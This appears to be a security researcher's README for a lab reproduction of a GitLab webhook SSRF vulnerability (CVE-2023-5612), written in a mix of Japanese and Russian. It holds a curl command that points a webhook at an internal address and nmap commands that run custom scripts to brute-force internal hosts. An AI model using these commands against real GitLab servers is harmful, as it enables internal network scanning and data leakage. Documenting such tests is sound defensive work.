
スクリプトによる分析 CVE-2023-5612
GitLab CE/EEのSSRF脆弱性により、有効なProject Maintainer権限を持つ攻撃者が、悪意のあるWebhook URLを介して、任意の内部サービスに細工したリクエストを送信できるようになります。この脆弱性を悪用すると、内部ネットワークのスキャン、メタデータの漏洩、さらなるピボット攻撃につながります。
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
--data-urlencode "url=http://127.0.0.1:8888" \
http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
- Kali Linux внутри виртуальной машины, развернутой специально под тестирование
- Поднятый через Docker экземпляр уязвимого GitLab CE (порт 8080)
- Внутри GitLab:
- Создан тестовый проект
- Сгенерирован Personal Access Token (glpat-...) с правами Maintainer
- Для внутреннего SSRF-таргета был поднят минимальный HTTP-сервис на 127.0.0.1:8888
- Подтверждение уязвимости вручную через curl (см. PoC)
- Создание кастомных NSE-скриптов:
gitlab-ssrf.nse: точечная проверка SSRF
gitlab-ssrf-brute.nse: автоматический перебор внутренних адресов
- Тестирование с nmap -d и --script-trace, для анализа поведения API и фиксации результатов
- Получение отклика 401 Unauthorized от внутреннего сервиса, что указывает на успешный SSRF
- Успешный запрос вернет `201 Created` либо ошибку вида `401 Unauthorized`, что указывает на SSRF-доступ.
nmap -p 8080 \
--script ./gitlab-ssrf.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
nmap -p 8080 \
--script ./gitlab-ssrf-brute.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
В ходе работы над уязвимостью **CVE-2023-5612** был воспроизведён успешный SSRF-атакующий сценарий с доступом к внутренним адресам через API GitLab CE. Это демонстрирует, насколько важно ограничивать возможности вебхуков и внедрять валидацию URL-адресов на стороне сервера.
.
├── gitlab-ssrf.nse # 手動SSRF確認用NSEスクリプト
├── gitlab-ssrf-brute.nse # 内部ホスト/ポートをスキャンするNSE総当たりスクリプト
├── screenshots/ # PoC実行と脆弱性確認のスクリーンショット
└── README.md # このファイル
Pavel Topskiy
GitHub • セキュリティアナリスト、レッドチームアナリスト
すべてのテストは、意図的に脆弱性を含むバージョンを使用し、隔離されたラボ環境で実施されました。これを許可されていないシステムに対して使用しないでください。倫理的ハッキングの原則を尊重してください。